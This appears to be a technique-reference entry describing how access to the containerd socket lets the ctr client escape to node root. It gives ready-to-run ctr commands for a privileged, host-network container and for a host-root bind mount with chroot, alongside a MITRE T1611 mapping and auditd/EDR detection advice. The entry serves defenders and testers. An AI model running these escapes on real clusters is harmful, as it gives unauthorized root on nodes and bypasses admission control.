ctr

ctr is containerd's low-level admin client. With access to the containerd socket an operator can pull an image and launch a container with --privileged/--net-host, or bind-mount the node root (src=/) into the container; chroot /host then yields a root shell on the node. It bypasses the kube-apiserver and any admission control.

Use Turn containerd socket access on a node into node root via a privileged or host-bind-mount container.

ctr image pull {REMOTEURL}/ubuntu:latest
ctr run --privileged --net-host -t {REMOTEURL}/ubuntu:latest esc bash
ctr run --mount type=bind,src=/,dst=/host,options=rbind:rw -t {REMOTEURL}/ubuntu:latest esc chroot /host bash

Context

admin

Native

Escape to Host, Bind Mount Escape

MITRE

T1611

Detection

Detection: Auditd/EDR for ctr invocations carrying --privileged, --net-host, or --mount type=bind,src=/ , and for access to /run/containerd/containerd.sock by non-kubelet processes. New containerd tasks from unexpected images/registries on a node are high-signal.

Verified

✓ HackTricks containerd-ctr page confirms the exact `ctr run --privileged --net-host` and `ctr run --mount type=bind,src=/,dst=/...` host-mount escapes; ctr is not a GTFOBins binary; T1611. (options=rbind:rw is a benign superset of the documented options=rbind.)

Refs

hacktricks.wiki/en/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.html

attack.mitre.org/techniques/T1611/